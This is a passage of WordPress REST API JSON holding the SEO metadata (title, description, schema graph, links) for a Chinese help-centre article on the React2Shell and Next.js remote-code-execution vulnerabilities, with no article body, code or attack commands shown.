name=\"twitter:data1\" content=\"admin\" \/>\n\t<meta name=\"twitter:label2\" content=\"\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4\" \/>\n\t<meta name=\"twitter:data2\" content=\"13 \u5206\" \/>\n<script type=\"application\/ld+json\" class=\"yoast-schema-graph\">{\"@context\":\"https:\/\/schema.org\",\"@graph\":[{\"@type\":\"WebPage\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/79604.html\",\"url\":\"https:\/\/www.wsisp.com\/helps\/79604.html\",\"name\":\"\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"isPartOf\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\"},\"datePublished\":\"2026-03-02T09:25:47+00:00\",\"dateModified\":\"2026-03-02T09:25:47+00:00\",\"author\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\"},\"breadcrumb\":{\"@id\":\"https:\/\/www.wsisp.com\/helps\/79604.html#breadcrumb\"},\"inLanguage\":\"zh-Hans\",\"potentialAction\":[{\"@type\":\"ReadAction\",\"target\":[\"https:\/\/www.wsisp.com\/helps\/79604.html\"]}]},{\"@type\":\"BreadcrumbList\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/79604.html#breadcrumb\",\"itemListElement\":[{\"@type\":\"ListItem\",\"position\":1,\"name\":\"\u9996\u9875\",\"item\":\"https:\/\/www.wsisp.com\/helps\"},{\"@type\":\"ListItem\",\"position\":2,\"name\":\"\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790\"}]},{\"@type\":\"WebSite\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#website\",\"url\":\"https:\/\/www.wsisp.com\/helps\/\",\"name\":\"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3\",\"description\":\"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b\",\"potentialAction\":[{\"@type\":\"SearchAction\",\"target\":{\"@type\":\"EntryPoint\",\"urlTemplate\":\"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}\"},\"query-input\":\"required name=search_term_string\"}],\"inLanguage\":\"zh-Hans\"},{\"@type\":\"Person\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41\",\"name\":\"admin\",\"image\":{\"@type\":\"ImageObject\",\"inLanguage\":\"zh-Hans\",\"@id\":\"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/\",\"url\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"contentUrl\":\"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery\",\"caption\":\"admin\"},\"sameAs\":[\"http:\/\/wp.wsisp.com\"],\"url\":\"https:\/\/www.wsisp.com\/helps\/author\/admin\"}]}<\/script>\n<!-- \/ Yoast SEO plugin. -->","yoast_head_json":{"title":"\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","robots":{"index":"index","follow":"follow","max-snippet":"max-snippet:-1","max-image-preview":"max-image-preview:large","max-video-preview":"max-video-preview:-1"},"canonical":"https:\/\/www.wsisp.com\/helps\/79604.html","og_locale":"zh_CN","og_type":"article","og_title":"\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","og_description":"React2Shell&#xff08;CVE-2025-55182&#xff09;\u4f5c\u4e3aReact\u751f\u6001\u8fd1\u5e74\u6765\u6700\u5177\u7834\u574f\u6027\u7684\u6ee1\u5206RCE\u6f0f\u6d1e&#xff0c;\u5176\u6838\u5fc3\u6e90\u4e8eReact Server Components&#xff08;RSC&#xff09;\u5e95\u5c42Flight\u534f\u8bae\u7684\u53cd\u5e8f\u5217\u5316\u5b89\u5168\u7f3a\u9677&#xff1b;\u800cNext.js\u4f5c\u4e3a\u5f53\u524d\u6700\u4e3b\u6d41\u7684React\u6846\u67b6&#xff0c;\u4f9d\u6258RSC\u5b9e\u73b0\u670d\u52a1\u7aef\u6e32\u67d3\u4e0e\u7ec4\u4ef6\u4ea4\u4e92&#xff0c;\u540c\u6b65\u884d\u751f\u51fa\u5bf9\u5e94\u9ad8\u5371\u6f0f\u6d1eCVE-2025-66478\u3002\u4e24\u5927\u6f0f\u6d1e\u5f62\u6210\u201c\u4e0a\u6e38\u7f3a","og_url":"https:\/\/www.wsisp.com\/helps\/79604.html","og_site_name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","article_published_time":"2026-03-02T09:25:47+00:00","author":"admin","twitter_card":"summary_large_image","twitter_misc":{"\u4f5c\u8005":"admin","\u9884\u8ba1\u9605\u8bfb\u65f6\u95f4":"13 \u5206"},"schema":{"@context":"https:\/\/schema.org","@graph":[{"@type":"WebPage","@id":"https:\/\/www.wsisp.com\/helps\/79604.html","url":"https:\/\/www.wsisp.com\/helps\/79604.html","name":"\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790 - \u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","isPartOf":{"@id":"https:\/\/www.wsisp.com\/helps\/#website"},"datePublished":"2026-03-02T09:25:47+00:00","dateModified":"2026-03-02T09:25:47+00:00","author":{"@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41"},"breadcrumb":{"@id":"https:\/\/www.wsisp.com\/helps\/79604.html#breadcrumb"},"inLanguage":"zh-Hans","potentialAction":[{"@type":"ReadAction","target":["https:\/\/www.wsisp.com\/helps\/79604.html"]}]},{"@type":"BreadcrumbList","@id":"https:\/\/www.wsisp.com\/helps\/79604.html#breadcrumb","itemListElement":[{"@type":"ListItem","position":1,"name":"\u9996\u9875","item":"https:\/\/www.wsisp.com\/helps"},{"@type":"ListItem","position":2,"name":"\u4ece\u53cd\u5e8f\u5217\u5316\u5230\u670d\u52a1\u5668\u63a5\u7ba1\uff1aReact2Shell\u4e0eNext.js\u6f0f\u6d1e\u653b\u9632\u5168\u666f\u89e3\u6790"}]},{"@type":"WebSite","@id":"https:\/\/www.wsisp.com\/helps\/#website","url":"https:\/\/www.wsisp.com\/helps\/","name":"\u7f51\u7855\u4e92\u8054\u5e2e\u52a9\u4e2d\u5fc3","description":"\u9999\u6e2f\u670d\u52a1\u5668_\u9999\u6e2f\u4e91\u670d\u52a1\u5668\u8d44\u8baf_\u670d\u52a1\u5668\u5e2e\u52a9\u6587\u6863_\u670d\u52a1\u5668\u6559\u7a0b","potentialAction":[{"@type":"SearchAction","target":{"@type":"EntryPoint","urlTemplate":"https:\/\/www.wsisp.com\/helps\/?s={search_term_string}"},"query-input":"required name=search_term_string"}],"inLanguage":"zh-Hans"},{"@type":"Person","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/358e386c577a3ab51c4493330a20ad41","name":"admin","image":{"@type":"ImageObject","inLanguage":"zh-Hans","@id":"https:\/\/www.wsisp.com\/helps\/#\/schema\/person\/image\/","url":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","contentUrl":"https:\/\/gravatar.wp-china-yes.net\/avatar\/?s=96&d=mystery","caption":"admin"},"sameAs":["http:\/\/wp.wsisp.com"],"url":"https:\/\/www.wsisp.com\/helps\/author\/admin"}]}},"_links":{"self":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/79604","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/comments?post=79604"}],"version-history":[{"count":0,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/posts\/79604\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/media?parent=79604"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/categories?post=79604"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/tags?post=79604"},{"taxonomy":"topic","embeddable":true,"href":"https:\/\/www.wsisp.com\/helps\/wp-json\/wp\/v2\/topic?post=79604"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}